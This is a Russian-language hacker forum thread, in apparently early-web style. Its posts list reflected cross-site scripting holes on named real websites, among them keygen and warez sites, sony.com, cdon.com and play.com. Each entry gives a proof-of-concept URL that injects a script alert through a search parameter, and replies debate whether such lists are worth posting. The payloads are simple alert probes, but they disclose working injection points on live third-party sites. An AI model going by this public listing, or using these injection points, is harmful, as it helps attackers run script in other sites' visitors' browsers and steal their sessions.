Xss баги на забугорных сайтах...
 

1)http://www.keygen.us/
http://www.keygen.us/search.shtml?q=<script>alert('Hello!')</script>&w=cracks

2)http://www.serials.ws
В поле для поиска крэка вбиваем: <script>alert('Hello!')</script>

3)http://cracks.thebugs.ws/
аналогично:
http://cracks.thebugs.ws/search.shtml?q=<script>alert(String.fromCharCode(7 2,73));</script>

4)http://www.warez.com
Даже на таком известном ресурсе промелькнула дырка:
http://search.warez.com/?q=%3Cscript%...=web&e=web

5)http://www.rom-world.com/search/?q=<script>alert('Hello!')</script>&submit.x=8&submit.y=9

6)http://www.avatarity.com/search.php?sch=<script>alert(String.fromCharCode(7 2,73));</script>&oper=or

Молодец, совсем не плохо для первого поста! =) +5 от меня.

Да вы что???
Нахрена такое создавать??? Тут же уйму сайтов можно выложить!
Комо это надо???

Абсолютно согласен!

Да он ваще весь в ХСС, там куда не тыкни, везде он вылезет!

Именно так набирается опыт у новичков, а пост сообщений на паблик придает стимула для дальнейших исследований, так что не надо хаить!!!! Хотя у нас это было совсем подругому....

Все когда-то начинали разве нет?(А кто раньше начал тот и быстрее закончит) Так что это только начало...

Да?! хех, ну на тебе на "известных"(как ты воразился) сайтах ХСС! Тока нахер они нужны то?! :) Так пол инэта можно в этом топике запосить! Глупо!

http://www.sony.com/SonySearch/Searc...script%3E&ti=0 (www.sony.com)


http://www.cdon.com/search_result.ph...h_field=artist (www.CDon.com)



http://65.222.158.141/search?q=%3Csc...am_es&filter=p (www.SonyEricsson.com)


http://www.sgifaq.com/cgi-bin/faq/sm...swer&match=all (www.sgifaq.com)


http://play.com/play247.asp?pa=searc...3E&page=search (www.play.com)

Это понимать как??? типа ты флудить на форуме будешь?! :)) А это былоо так, для начала! :P

Ну да, наверное ты прав! Пусть побалуются! :)) как говориться: "Чем бы дитя не тешилось - лишь бы не ВЕШАЛОСЬ" :)))